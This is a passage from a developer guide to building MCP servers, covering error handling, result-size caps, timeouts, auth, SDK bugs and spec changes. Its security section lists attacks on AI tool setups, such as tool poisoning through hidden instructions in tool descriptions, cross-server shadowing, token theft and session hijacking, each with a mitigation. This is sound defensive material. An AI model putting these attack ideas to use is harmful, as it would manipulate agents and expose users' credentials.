distinct mechanisms with different LLM visibility:\n\n| Type | LLM Sees It? | Use For |\n|------|--------------|---------|\n| **Tool error** (`isError: true` in CallToolResult) | Yes - enables self-correction | Input validation, API failures, business logic errors |\n| **Protocol error** (JSON-RPC error response) | Maybe - clients MAY expose | Unknown tool, malformed request, server crash |\n\nPer SEP-1303 (merged into spec 2025-11-25): input validation errors MUST be tool execution errors, not protocol errors. The LLM needs to see \"date must be in the future\" to self-correct.\n\n```typescript\n// DO: Tool execution error - LLM can self-correct\nreturn {\n  isError: true,\n  content: [{ type: \"text\", text: \"Date must be in the future. Current date: 2026-03-25\" }],\n};\n\n// DON'T: throw for validation - you lose control of what the LLM sees\nthrow new ProtocolError(ProtocolErrorCode.InvalidParams, \"Invalid date\");\n```\n\n**What a throw actually does**: inside a tool handler the SDK converts every exception - including a thrown `ProtocolError`/`McpError` - into an `isError: true` result (`UrlElicitationRequiredError` is the one exception). The message survives; the error **code and `error.data` are dropped**, so structured data embedded there never reaches the client. Return the `isError` result yourself. The x402/MPP ecosystem standardized on `isError: true` results with `structuredContent` for this reason.\n\n> For full error taxonomy, code examples, payment error patterns, and why `-32042` is not available as a \"Payment Required\" code: see `references/error-handling.md`\n\n## Resources and Instructions\n\nSet `instructions` in the server constructor - a system-level hint to the LLM about how to use your server:\n\n```typescript\nconst server = new McpServer({\n  name: \"docs-api\",\n  version: \"1.0.0\",\n  instructions: \"Knowledge base API. Use search_docs for full-text search, get_doc for retrieval by ID. All tools are read-only.\",\n});\n```\n\nWith Claude Code's tool search on by default, only tool names and server `instructions` load at session start - `instructions` is now the main thing the model reads before it decides to load your tools. Claude Code truncates each tool description and each server's instructions at **2,048 characters**; put the critical part first.\n\nShip guides and structured data as resources under a `docs://` URI scheme (`server.resource(...)`) - see \"Other Server Primitives\" in `references/tool-schema-guide.md`.\n\n## Performance\n\n### Token Bloat Mitigation\n\nTool definitions consume context window before any conversation starts. GitHub MCP: 20,444 tokens for 80 tools (SEP-1576).\n\n**Strategies**:\n1. **5-15 tools per server** - community sweet spot. Split beyond that.\n2. **Outcome-oriented tools** - bundle multi-step operations into single tools (e.g., `track_order(email)` not `get_user` + `list_orders` + `get_status`).\n3. **Response granularity** - return curated results, not raw API dumps. 800-token user object vs 20-token summary.\n4. **`outputSchema` + `structuredContent`** - typed output for programmatic/PTC clients. Caveat: on shadowing clients `structuredContent` is stringified into the model's context at the **same token cost as text** - not a free out-of-band channel (see \"Tool Result Delivery\").\n5. **Dynamic tool loading** - register only relevant tool subsets per request context (e.g. a `?tools=search,fetch` query param). Pair with `listChanged` if the set changes mid-session. **Vary the set per connection, not mid-conversation**: tool definitions sit in the prompt prefix, and *\"Adding or removing tool definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens than the definitions you removed.\"* A client must also treat a cached list as stale the moment `list_changed` arrives, even before the `ttlMs` you advertised.\n6. **Progressive tool discovery / code mode** - large-catalog clients increasingly use a `search_tools` meta-tool and programmatic tool calling, where `structuredContent` is consumed outside the model context ([client best practices](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices)). Curated, well-described tools make these flows work.\n\n### Result-Size Budgets (per-client caps)\n\nClients silently truncate large tool results. Budget for the strictest client you target:\n\n| Client | Default cap | Configurable |\n|--------|------------|--------------|\n| Claude Code | 25,000 tokens (warning at 10k); text results over **50,000 chars** are saved to a file and replaced by its path, whatever the token count | `MAX_MCP_OUTPUT_TOKENS` env; per-tool `_meta[\"anthropic/maxResultSizeChars\"]` raises the 50k persist threshold up to 500,000 chars and **replaces** the token cap for text rather than being bounded by it |\n| OpenAI Codex CLI | **10,000 tokens** on every current model (~40KB); `bytes`-mode 10,000 survives only on legacy `gpt-5.2` and as the unknown-model fallback | `tool_output_token_limit` config |\n| Gemini CLI | 40,000 chars (head 20% / tail 80% trim; full output saved to a file) | settings; 0 or negative disables |\n\nEnforce your own cap server-side - see \"Result-Size Budgets and Truncation\" in `references/tool-schema-guide.md`. Two rules worth stating here: **never truncate `isError` results** (payment/auth challenges must survive intact) - and keep them small, because Claude Code itself cuts error text longer than ~11,000 chars to its first and last 5,000 - and treat client budgets as **per-connection properties** - accept them as URL query params (`?max_chars=`, alongside `?tools=`) rather than growing every tool schema with override args.\n\n### Long-Running Tools\n\nClaude Code runs three separate clocks, and only one of them responds to progress:\n\n| Clock | Default | Progress resets it? |\n|---|---|---|\n| Per-server `timeout` | *\"a hard wall-clock limit per tool call\"* (~28h if unset) | **No** |\n| Idle timeout | 5 min HTTP, 30 min stdio (`CLAUDE_CODE_MCP_TOOL_IDLE_TIMEOUT`) | **Yes** - a call with no response *and* no progress for the window aborts |\n| First-byte timer (HTTP only) | max(60 s, tool timeout, `MCP_TIMEOUT`) | n/a - covers each request up to its first response byte |\n\nSo emit `notifications/progress` on slow calls (it keeps the idle timer alive), but don't expect it to buy time past the wall clock. The first-byte timer bites `enableJsonResponse: true`: a JSON-mode response sends no bytes until the tool finishes, while an SSE response starts streaming immediately. A main-conversation call still running after two minutes is moved to a background task, so a slow tool no longer blocks the session - but it still has to finish.\n\nDesign past the cap: return quickly with a server-minted handle and let the caller poll (see \"Stateful Tools\"), or adopt the `io.modelcontextprotocol/tasks` extension, which is built for exactly this and returns a `CreateTaskResult` the client polls via `tasks/get`. Tasks is per-request opt-in - a server that cannot service a call synchronously for a client that did **not** declare the tasks capability **MUST** return `-32021` (Missing Required Client Capability) naming the extension, not silently block.\n\n### No-Parameter Tools\n\nFor tools with no inputs, use an explicit empty schema - not `undefined` or omission:\n```typescript\ninputSchema: { type: \"object\" as const, additionalProperties: false }\n```\n\n## Security\n\n### Top Threats (real-world incidents, 2025-2026)\n\n| Attack | Example | Mitigation |\n|--------|---------|------------|\n| **Tool poisoning** | Hidden instructions in descriptions (WhatsApp MCP, Apr 2025) | Review tool descriptions; clients should display them |\n| **Supply chain** | Malicious npm packages (Smithery breach, Oct 2025) | Pin versions, audit dependencies |\n| **Stdio config injection** | User-controlled input reaches `StdioServerParameters` unsanitized (OX Security, 2026-04-15) | Sanitize stdio config in client code; prefer first-party servers. Treated as \"by design\" - not patched in the SDK |\n| **Cross-server shadowing** | Malicious server overrides legitimate tool names | Service-prefix tool names; validate tool sources |\n| **Token theft** | Over-privileged PATs with broad scopes | Minimal scopes; OAuth 2.1 Resource Indicators (RFC 8707) |\n| **Token passthrough** | Server accepts/forwards tokens not issued for it | Validate audience claim; never transit client tokens to upstream APIs |\n| **Confused deputy** | Proxy server consent cookies exploited via DCR | Per-client consent before forwarding to third-party auth |\n| **Session hijacking** | Stolen/guessed session IDs for impersonation | Cryptographically random IDs, bind to user identity, never use for auth |\n| **Cross-client response leak** | Shared `McpServer`/transport reused across clients ([CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536), affects v1.10.0-1.25.3) | **Require SDK >= v1.26.0**; per-request server+transport |\n| **Wrong-audience tokens** | SDK bearer auth accepted tokens issued for another service ([GHSA-rvq5-wwqv-78pq](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-rvq5-wwqv-78pq), sdk <= 1.31.0, server <= 2.2.0) | Upgrade **and** set `expectedResource` - it is off by default |\n| **Cross-session task access** | v1 experimental tasks not bound to their session ([GHSA-22jm-h49p-29qw](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-22jm-h49p-29qw), sdk 1.24.0-1.31.0 with a `taskStore`) | sdk >= 1.32.0; tasks stay shared on stateless servers - authorize every task request |\n| **UriTemplate ReDoS** | Malicious URI patterns ([CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365)) | Upgrade to v1.25.2+ / v2.0.0-alpha.1+ |\n\n**Version floor: `@modelcontextprotocol/sdk` >= 1.32.0, `@modelcontextprotocol/server` >= 2.3.0** (plus `/express` >= 2.0.2 if you use its auth middleware). Two more advisories from the same week are client-side (credentials sent to a server-chosen authorization server, cross-origin redirects) - see `references/security-auth.md`.\n\nGeneric hygiene still applies: validate inputs at tool boundaries, enforce per-user access control, rate limit, sanitize tool outputs, never interpolate tool input into shell commands, block private IPs on outbound fetches, bind local servers to `127.0.0.1`. Bound argument size with `new McpServer(info, { maxToolInputElements: 10_000 })` (sdk 1.32.0 / server 2.3.0, **off by default**): an oversized call gets an `isError` result before schema validation runs.\n\n### Server-Side Requirements (spec normative)\n\n- **Validate the `Origin` header** - but only reject when it is **present and invalid**: *\"If the `Origin` header is present and invalid, servers MUST respond\"* with 403. Shipping clients exist that send no `Origin` at all; a blanket 403-on-missing locks them out.\n- **Turn the checks on.** Nothing validates `Host`/`Origin` unless you put it there:\n  - `createMcpHandler` is validation-free by design. A bare `export default handler` on Workers/Deno/Bun is unguarded ([#2844](https://github.com/modelcontextprotocol/typescript-sdk/issues/2844)). Front it with `hostHeaderValidationResponse` / `originValidationResponse`.\n  - The raw transport's `enableDnsRebindingProtection` defaults to `false`, and the option, along with `allowedOrigins`/`allowedHosts`, is `@deprecated` in favor of external middleware.\n  - `createMcpExpressApp`/`createMcpHonoApp` validate Host **and** Origin by default only for loopback binds. Bound to any other specific host (`192.168.1.10`, `mcp.internal`), they silently skip both checks ([#2843](https://github.com/modelcontextprotocol/typescript-sdk/issues/2843)). Pass `allowedHosts` explicitly.\n  - `allowedOrigins` accepts `<scheme>://*` (e.g. `moz-extension://*`) for browser-extension clients since 2.3.0.\n- **`MCP-Protocol-Version` is not optional on a modern wire.** The header survived the sessionless overhaul: *\"Every POST request to the MCP endpoint **MUST** include an `MCP-Protocol-Version` header\"*, and its value **MUST** match `io.modelcontextprotocol/protocolVersion` in the body's `_meta` or the server **MUST** answer `400 Bad Request` with a `HeaderMismatch` error. The version rides `_meta` *and* the header, redundantly and on purpose - intermediaries route on the header while the server executes on the body, so both must agree.\n- **Be lenient about *which* version, not about whether it is declared.** On 2025-era wires accept a range of declared versions rather than enforcing one - clients advertising `2024-11-05` are still in the wild, and a server supporting pre-`2025-06-18` clients **MAY** treat a header-less request as `2025-03-26`. A server that does not support those clients **MUST** reject a header-less request.\n\n### Auth (OAuth 2.1)\n\nMCP normatively requires **OAuth 2.1** ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)), not 2.0 - PKCE mandatory, implicit flow removed. Servers are Resource Servers; clients MUST send Resource Indicators (RFC 8707) binding tokens to your server.\n\n- **Validate audience** - reject tokens not issued for your server (passthrough is forbidden). With the SDK's `requireBearerAuth` this means `expectedResource: new URL(\"https://mcp.example.com/mcp\")` **and** a verifier that fills `AuthInfo.resource` from the token's `aud` - set only the first and every request gets 401; set neither and audience is never checked. **PKCE `S256`**, **short-lived tokens**, **minimal scopes** (elevate per tool with `scopeChallenge: requireScopes(...)`, server >= 2.1.0).\n- **Optional auth splits clients.** If one endpoint serves both anonymous and signed-in users, some clients only start OAuth after a `401`, so a server that answers credential-less `tools/list` with `200` leaves them connected anonymously - \"connected, N tools\" is not evidence of authentication. A blanket 401 gate in turn breaks payment clients that expect a `200` + `isError` challenge. Pick deliberately, per endpoint.\n- Use a tested validation library (Keycloak, Auth0, ...) - don't roll your own; never log Authorization headers/tokens/secrets.\n- **RFC 9207 `iss` interop footgun**: advertising `authorization_response_iss_parameter_supported: true` makes strict clients MUST-validate a callback `iss` that some of them drop. Advertise the flag as `false` while still sending `iss` - see `references/security-auth.md`.\n\n> For full security attack/mitigation patterns and auth implementation details: see `references/security-auth.md`\n\n## Known SDK Bugs\n\nMust-know as of `sdk@1.32.1` / `server@2.3.1`:\n\n- **`z.union()`/`z.discriminatedUnion()` silently produce empty schemas on every released v1**, v1.32.1 included ([#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643), backport [PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017) still open) - use flat `z.object()` + `z.enum()`.\n- **Security floor is sdk >= 1.32.0 / server >= 2.3.0** - see the threat table above.\n- **Register before `connect()` on v1.** Later registration throws on every released v1 ([#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893); the v1 fix is merged but unreleased after 1.32.1). On v2 it works once the capability is declared in the constructor's `capabilities`.\n- **Client AJV strict rejects unstripped `structuredContent` extras** - `.parse()` upstream data first, or `.passthrough()` for intentional extras.\n- **v1 stamps every tool schema `\"$schema\": \"http://json-schema.org/draft-07/schema#\"`** (still true on 1.32.1), and a strict 2020-12 client rejects the whole tool: *\"JSON Schema declares an unsupported dialect ... The default validator supports JSON Schema 2020-12 only.\"* One bad schema can take the server's other tools down with it in clients that drop the whole `tools/list`. v2 emits 2020-12. Open ([#2721](https://github.com/modelcontextprotocol/typescript-sdk/issues/2721), canonical [#2084](https://github.com/modelcontextprotocol/typescript-sdk/issues/2084)); `@modelcontextprotocol/inspector` >= 2.4.0 flags it for you.\n- **Reusing a server or stateless transport is a hard error since `server@2.3.0`** (a minor release). `createMcpHandler(() => sharedServer)` answers overlapping requests with `500` / `-32603`; a reused stateless transport throws on the second request. Through the Node wrapper it is a bare, empty `500` with nothing in your logs ([#2704](https://github.com/modelcontextprotocol/typescript-sdk/issues/2704)). Pass a factory that builds the server.\n\n> Full table (statuses, zod 3->4 dropping `additionalProperties`, `refine`/`superRefine` never running, transport-closure stack overflow, HTTP/2, raw JSON Schema, `z.transform()`, ReDoS, the 2.1-2.3 fixes): see `references/sdk-bugs.md`\n\n## V2 Migration\n\n> For comprehensive migration guide with all breaking changes and before/after code: see `references/v2-migration.md`\n\n**Key breaking changes**:\n1. Package split: `@modelcontextprotocol/sdk` -> `@modelcontextprotocol/server` + `/client` + `/core`\n2. ESM-first (CJS builds restored in beta.2), Node.js 20+ (Bun/Deno supported)\n3. Zod v4 required (or any Standard Schema library)\n4. `McpError` -> `ProtocolError` (from `@modelcontextprotocol/core`)\n5. `extra` parameter -> structured `ctx` with `ctx.mcpReq`\n6. `server.tool()` -> `registerTool()` (config object, not positional args)\n7. SSE server transport removed (clients can still connect to legacy SSE servers)\n8. `createMcpHandler(factory)` replaces per-request transport + `connect()` wiring; `@modelcontextprotocol/hono`/`express`/`node` adapt it\n9. DNS rebinding protection enabled by default for localhost servers (framework factories only)\n\nv1.x gets fixes until at least 2027-01-27 but will never implement 2026-07-28 - write new code on v2.\n\n## Spec 2026-07-28 (released)\n\nPublished 2026-07-28 ([release announcement](https://blog.modelcontextprotocol.io/posts/2026-07-28/), [changelog](https://modelcontextprotocol.io/specification/2026-07-28/changelog)) - now the latest revision. Remember it is **opt-in on the SDK** (see \"The Two Eras\"): 2025-11-25 remains what most deployed software speaks.\n\nFour shifts that change a decision you make today:\n\n- **MCP is stateless and sessionless.** The `initialize` handshake and `Mcp-Session-Id` are gone ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575), [SEP-2567](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567)); every request carries its protocol version, client identity, and capabilities in `_meta`, and cross-call state uses handles (see \"Stateful Tools\"). Do not build new servers on session affinity.\n- **`server/discover` is a server MUST** - it advertises versions/capabilities/identity; clients MAY skip it and handle `UnsupportedProtocolVersionError` inline.\n- **Roots, Sampling, Logging, and the HTTP+SSE transport are Deprecated** under a formal feature lifecycle (SEP-2577/SEP-2596). They still work; design new servers without them. HTTP+SSE's own clock is shorter than the default 12 months - it became eligible for removal around 2026-09-03.\n- **Allocate application-defined error codes outside `-32768..-32000`** - `-32020..-32099` is reserved for the spec and `-32000..-32019` is legacy that new implementations SHOULD NOT use at all ([PR #2907](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2907)).\n\nThe `content` vs `structuredContent` dual-delivery footgun is **unchanged** - no precedence rule landed, so the guidance above still holds.\n\n> Everything else - MRTR, `subscriptions/listen`, `_meta` identity keys, `requestState`, `Mcp-Method`/`Mcp-Name`, cacheable results, per-request log level, auth changes, the removals (SSE resumability, `ping`, `execution.taskSupport`), era testing, working groups: see `references/spec-2026-07-28.md`\n\n## Extensions\n\nOptional, strictly additive capabilities named `{vendor-prefix}/{extension-name}` (official: `io.modelcontextprotocol/*`; third-party: reversed domain). Negotiated in `initialize` capabilities on 2025-era wires; on 2026-07-28 clients advertise support **per request** in `_meta[\"io.modelcontextprotocol/clientCapabilities\"]`. Official ones: **MCP Apps** (`/ui`, interactive HTML UIs, Stable, widely supported; `ext-apps` **2.0.0** since 2026-09-08 - breaking on the TypeScript side only, the wire protocol is unchanged), **OAuth Client Credentials** (Draft), **Enterprise-Managed Authorization** (Stable 2026-06-18), **Tasks** (official since 2026-08-19), **Skills** (`io.modelcontextprotocol/skills`, SEP-2640 Final - skills served as resources) - [client matrix](https://modelcontextprotocol.io/extensions/client-matrix).\n\nServer capabilities beyond tools (2025-era call style unless noted):\n\n| Capability | Purpose | v2 API |\n|-----------|---------|--------|\n| **Elicitation** | Request structured user input mid-tool | Both eras: return `inputRequired({ inputRequests: { k: inputRequired.elicit(...) } })`. `ctx.mcpReq.elicitInput()` **throws on a 2026-07-28 connection** |\n| **Sampling** | Request LLM completion from client | `ctx.mcpReq.requestSampling()` |\n| **Tasks** | Long-running ops with lifecycle management | Official extension (SEP-2663) |\n| **Progress** | Incremental progress on requests | `ctx.mcpReq.sendProgress()` |\n\nOn 2026-07-28 servers cannot send requests to clients at all: elicitation and sampling go through MRTR (return an `InputRequiredResult`, read `inputResponses` on the retry). Write handlers in the `inputRequired` style: the SDK's default legacy shim turns the returned request into a real `elicitation/create` for 2025-era clients, so one handler serves both eras. Tasks moved out of core into the polled `io.modelcontextprotocol/tasks` extension ([ext-tasks](https://github.com/modelcontextprotocol/ext-tasks)).\n\n> For MCP Apps architecture, ext-apps SDK, and build patterns: see `references/mcp-apps.md`\n> For the extensions system, auth extensions, elicitation/sampling/tasks detail, and the MCP Registry: see `references/extensions-registry.md`\n\nFile v1.3.0:_meta.json\n\n{\n  \"ownerId\": \"kn76gpsgjw5chv0xvzbzcb8cxn81x46r\",\n  \"slug\": \"mcp-best-practices\",\n  \"version\": \"1.3.0\",\n  \"publishedAt\": 1791289113750\n}\n\nFile v1.3.0:references/error-handling.md\n\n# Error Handling\n\nFull error taxonomy, code examples, and patterns for tool errors, protocol errors, and payment integration.\n\n## Table of Contents\n- [Error Taxonomy](#error-taxonomy)\n- [Tool Execution Errors](#tool-execution-errors)\n- [Protocol Errors](#protocol-errors)\n- [The error.data Loss Bug](#the-errordata-loss-bug)\n- [Error Helper Pattern](#error-helper-pattern)\n- [Payment Error Patterns](#payment-error-patterns)\n\n## Error Taxonomy\n\nMCP has two distinct error reporting mechanisms. Choosing the wrong one makes the LLM blind to fixable problems.\n\n| Type | JSON-RPC | LLM Visibility | Self-Correction | Use For |\n|------|----------|----------------|-----------------|---------|\n| **Tool Execution Error** | `CallToolResult` with `isError: true` | Always (clients SHOULD show) | Yes | Input validation, API failures, business logic, rate limits |\n| **Protocol Error** | JSON-RPC error response (`{ error: { code, message } }`) | Maybe (clients MAY show) | No | Unknown tool, malformed request, server crash, capability mismatch |\n\n**The rule** (SEP-1303, merged into spec 2025-11-25): If the LLM could self-correct by seeing the error message, it MUST be a Tool Execution Error. Protocol errors are for structural problems the LLM can't fix.\n\n### SEP-2140 Extension (proposal; issue closed in favor of spec PR #2145)\n\nExtends SEP-1303 to cover three more cases that should also be Tool Execution Errors:\n1. **Tool resolution failures** - unknown tool name (currently protocol error)\n2. **Tool unavailability** - disabled/policy-restricted tool\n3. **Output validation failures** - structuredContent doesn't match outputSchema\n\nSource: [modelcontextprotocol#2140](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2140), closed 2026-01-23 in favor of [PR #2145](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2145)\n\n## Tool Execution Errors\n\nReturn `isError: true` in the `CallToolResult`. The content array carries the error message the LLM will see.\n\n### Input Validation\n\n```typescript\nasync function searchHandler({ query, since }: { query: string; since?: string }) {\n  // Validate input - return tool error so LLM can correct\n  if (since) {\n    const date = new Date(since);\n    if (isNaN(date.getTime())) {\n      return {\n        isError: true,\n        content: [{ type: \"text\", text: `Invalid date format: \"${since}\". Use ISO format (YYYY-MM-DD).` }],\n      };\n    }\n    if (date > new Date()) {\n      return {\n        isError: true,\n        content: [{ type: \"text\", text: `Date must be in the past. Received: ${since}. Current: ${new Date().toISOString().split(\"T\")[0]}` }],\n      };\n    }\n  }\n\n  const results = await doSearch(query, since);\n  return { content: [{ type: \"text\", text: JSON.stringify(results) }] };\n}\n```\n\n### Upstream API Failures\n\n```typescript\nasync function fetchHandler({ url }: { url: string }) {\n  try {\n    const response = await fetch(url);\n    if (!response.ok) {\n      return {\n        isError: true,\n        content: [{ type: \"text\", text: `Upstream returned ${response.status}: ${response.statusText}. Try a different URL or check if the service is available.` }],\n      };\n    }\n    const data = await response.json();\n    return { content: [{ type: \"text\", text: JSON.stringify(data) }] };\n  } catch (err) {\n    return {\n      isError: true,\n      content: [{ type: \"text\", text: `Network error fetching ${url}: ${err instanceof Error ? err.message : \"unknown\"}. The service may be down.` }],\n    };\n  }\n}\n```\n\n### Rate Limits\n\n```typescript\nreturn {\n  isError: true,\n  content: [{ type: \"text\", text: \"Rate limit exceeded. Wait 30 seconds before retrying. Current limit: 10 requests/minute.\" }],\n};\n```\n\n### Key Principles\n\n1. **Be specific** - include the bad value, the expected format, and a correction hint\n2. **Include context** - current date, limits, valid options\n3. **Be actionable** - tell the LLM what to do differently\n4. **Never return stack traces** - they waste tokens and leak internals\n\n### Forgiving Input Recovery\n\nIf an argument's intent is unambiguous, recover it instead of returning an error: accept a full URL where a bare handle is expected (and vice versa), map common aliases (`image_url`/`media_url`/`src`/`href` -> `url`), coerce obvious scalar/array mismatches. Agents routinely vary surface forms, and every avoidable `isError` costs a round-trip. Reserve errors for genuine ambiguity - and then follow the principles above with an actionable hint.\n\n## Protocol Errors\n\nUse JSON-RPC error responses (via `McpError` in v1, `ProtocolError` in v2) only for structural problems. Standard JSON-RPC error codes:\n\n| Code | Name | When |\n|------|------|------|\n| `-32600` | Invalid Request | Malformed JSON-RPC |\n| `-32601` | Method Not Found | Unknown method |\n| `-32602` | Invalid Params | Schema validation failure at protocol level |\n| `-32603` | Internal Error | Server crash, unrecoverable |\n| `-32000` to `-32099` | Server errors | Custom server-defined errors |\n\n```typescript\nimport { McpError, ErrorCode } from \"@modelcontextprotocol/sdk/types.js\";\n\n// Only for structural problems the LLM can't fix\nthrow new McpError(ErrorCode.InternalError, \"Database connection lost\");\n```\n\nInside a **tool handler** a throw does not produce a JSON-RPC error at all: the SDK converts every exception - including a thrown `McpError`/`ProtocolError` - into an `isError: true` result carrying the message, and drops the code and `data` (`UrlElicitationRequiredError` is the one exception). Protocol errors are what the SDK itself emits for unknown methods, malformed requests, and validation outside your handler.\n\n## The error.data Loss Behavior\n\n**Critical**: The SDK strips `error.data` when converting an `McpError` thrown from a tool handler into a `CallToolResult`. If you embed structured data in McpError's `data` field (e.g., payment challenges, retry metadata), it does not reach the client. This is observed across the x402/MPP MCP ecosystem - see Client Compatibility table below. (Historically `-32042` was the one code observed to survive with `error.data` intact - do not rely on it: as of spec 2026-07-28 that code is spec-allocated and off-limits, see [Payment Error Patterns](#payment-error-patterns).)\n\n```typescript\n// BROKEN: error.data is lost in transit\n// (1002 = application-defined, outside the JSON-RPC reserved range -32768..-32000)\nthrow new McpError(1002, \"Payment Required\", {\n  x402Version: 2,\n  accepts: [{ scheme: \"exact\", network: \"base\", price: \"5000\" }],\n});\n// Client receives: { code: 1002, message: \"Payment Required\" }\n// The accepts array is GONE\n\n// FIX: Use isError tool result with structured content\nreturn {\n  isError: true,\n  content: [{ type: \"text\", text: JSON.stringify({\n    error: \"Payment Required\",\n    x402Version: 2,\n    accepts: [{ scheme: \"exact\", network: \"base\", price: \"5000\" }],\n  })}],\n  structuredContent: {\n    error: \"Payment Required\",\n    x402Version: 2,\n    accepts: [{ scheme: \"exact\", network: \"base\", price: \"5000\" }],\n  },\n};\n```\n\n## Error Helper Pattern\n\nCreate a reusable helper for consistent error formatting:\n\n```typescript\n// Module-level helper\nfunction toolError(message: string, details?: Record<string, unknown>): {\n  isError: true;\n  content: Array<{ type: \"text\"; text: string }>;\n  structuredContent?: Record<string, unknown>;\n} {\n  const payload = details ? { error: message, ...details } : { error: message };\n  return {\n    isError: true,\n    content: [{ type: \"text\", text: details ? JSON.stringify(payload) : message }],\n    ...(details && { structuredContent: payload }),\n  };\n}\n\n// Usage\nreturn toolError(\"Rate limit exceeded\", {\n  retry_after_seconds: 30,\n  current_limit: \"10/min\",\n});\n\nreturn toolError(\"Invalid date format. Use ISO (YYYY-MM-DD).\");\n```\n\n## Payment Error Patterns\n\nFor MCP servers gated by payment protocols (x402, MPP), errors need to carry payment metadata that clients can act on programmatically.\n\n> **HTTP status is always 200.** A payment/auth challenge returned as an `isError: true` tool result is a *successful* JSON-RPC response, so it rides HTTP `200` - not `401`/`402`. Clients (and anyone testing with `curl`) must parse the JSON-RPC body for the challenge; don't gate on the HTTP status code. Misreading this as \"auth is broken\" is a common false alarm.\n\n### Do not use `-32042` for payments (collision with the released spec)\n\nSome payment tooling follows the Internet-Draft [`draft-payment-transport-mcp-00`](https://paymentauth.org/draft-payment-transport-mcp-00.html) (self-published 2026-07-03; not on the IETF datatracker), which claims `-32042` for \"Payment Required\" and `-32043` for \"payment verification failed\". **Both codes collide with MCP's own allocation policy as of spec 2026-07-28.**\n\nThe released spec partitions the JSON-RPC implementation-defined range and puts `-32020..-32099` under exclusive spec control:\n\n> **`-32020` to `-32099` - reserved for the MCP specification.** [...] Implementations **MUST NOT** emit any code from this sub-range that is not defined by this specification and **MUST** use defined codes only with their specified meanings.\n\n`-32042` is already spec-allocated - as *\"URL elicitation required (2025-11-25 only)\"*, a retired code that implementations of the current revision MUST NOT emit at all. A payment challenge sent as `-32042` is therefore both spec-violating and ambiguous with a real (if retired) MCP meaning.\n\n**What to do instead**, in order of preference:\n\n1. **Use the `isError: true` tool-result pattern below.** It is what the x402/MPP ecosystem actually interoperates on, it survives the `error.data` loss described above, and it is unaffected by the code-allocation policy.\n2. If you genuinely need a protocol-level code, **allocate outside the JSON-RPC reserved range entirely** - the spec is explicit that new codes \"**SHOULD** be allocated outside the JSON-RPC reserved range (`-32768` to `-32000`)\".\n\nDo not allocate anything new in `-32000..-32019` either: that sub-range is now **legacy**, and new implementations \"**SHOULD NOT** use codes from this sub-range at all\".\n\n### x402 Payment Required (isError pattern)\n\nThe bulk of the x402 MCP ecosystem uses `isError: true` tool results (not McpError) because of the `error.data` loss behavior described above. Breaking this format breaks existing x402 MCP clients.\n\n```typescript\n// Payment challenge - returned when no credential present\nreturn {\n  isError: true,\n  content: [{ type: \"text\", text: JSON.stringify({\n    x402Version: 2,\n    error: \"Payment required\",\n    accepts: [\n      { scheme: \"exact\", network: \"eip155:8453\", price: \"5000\", payTo: \"0x...\" },\n      { scheme: \"exact\", network: \"solana:mainnet\", price: \"5000\", payTo: \"So1...\" },\n    ],\n  })}],\n  structuredContent: {\n    x402Version: 2,\n    error: \"Payment required\",\n    accepts: [\n      { scheme: \"exact\", network: \"eip155:8453\", price: \"5000\", payTo: \"0x...\" },\n      { scheme: \"exact\", network: \"solana:mainnet\", price: \"5000\", payTo: \"So1...\" },\n    ],\n  },\n};\n```\n\n### Dual-Protocol Challenges (x402 + MPP)\n\nWhen supporting both x402 and MPP payment protocols on the same tool, embed both challenge types in the `isError` response. x402 clients read `accepts`, MPP clients read `org.paymentauth/challenges`. Unknown fields are ignored.\n\n```typescript\nreturn {\n  isError: true,\n  content: [{ type: \"text\", text: JSON.stringify(challenge) }],\n  structuredContent: {\n    x402Version: 2,\n    error: \"Payment required\",\n    // x402 clients read this\n    accepts: [{ scheme: \"exact\", network: \"eip155:8453\", price: \"5000\", payTo: \"0x...\" }],\n    // MPP clients read this\n    \"org.paymentauth/challenges\": [\n      { id: \"ch_abc\", method: \"tempo\", intent: \"charge\", request: { amount: \"5000\" } },\n    ],\n  },\n};\n```\n\n### Credential Dispatch via _meta\n\nWhen clients retry with a credential, dispatch by `_meta` key:\n\n```typescript\nasync function paidToolHandler(args: unknown, extra: { _meta?: Record<string, unknown> }) {\n  const meta = extra._meta ?? {};\n\n  if (meta[\"x402/payment\"]) {\n    // x402 credential - verify and settle\n    return await handleX402Payment(args, meta[\"x402/payment\"]);\n  }\n\n  if (meta[\"org.paymentauth/credential\"]) {\n    // MPP credential - charge via tempo\n    return await handleMppPayment(args, meta[\"org.paymentauth/credential\"]);\n  }\n\n  // No credential - return payment challenge\n  return paymentRequiredError(args);\n}\n```\n\n### Client Compatibility\n\n| Client | Reads `isError` challenges | Reads a JSON-RPC error code challenge (`-32042`) |\n|--------|---------------------------|------------------------|\n| x402MCPClient | Yes (via `structuredContent` then `content[0].text`) | No (crashes) |\n| x402-proxy | Yes | No (planned) |\n| agentpay-mcp | Yes | No |\n| MCPay | Yes | No |\n| Cloudflare agents/x402 | Yes | No |\n\nThe ecosystem is standardized on `isError: true` tool results. Do not use McpError for payment challenges.\n\nFile v1.3.0:references/extensions-registry.md\n\n# Extensions and Registry\n\nMCP extensions system, authorization extensions, and the MCP Registry.\n\n## Table of Contents\n- [Extensions System](#extensions-system)\n- [Authorization Extensions](#authorization-extensions)\n- [MCP Registry](#mcp-registry)\n- [Server Capabilities Beyond Tools](#server-capabilities-beyond-tools)\n\n## Extensions System\n\nExtensions are optional, strictly additive capabilities layered on the core MCP protocol. They enable modular features (auth), specialized behavior (domain-specific), and experimental incubation without changing the core spec.\n\n### Three-Layer Architecture\n\n1. **MCP Core Specification** - baseline client-server interoperability\n2. **MCP Projects** - supporting infrastructure (Registry, Inspector)\n3. **MCP Extensions** - optional patterns for specialized use cases\n\n### Extension Identifiers\n\nFormat: `{vendor-prefix}/{extension-name}`\n\n| Prefix | Usage |\n|--------|-------|\n| 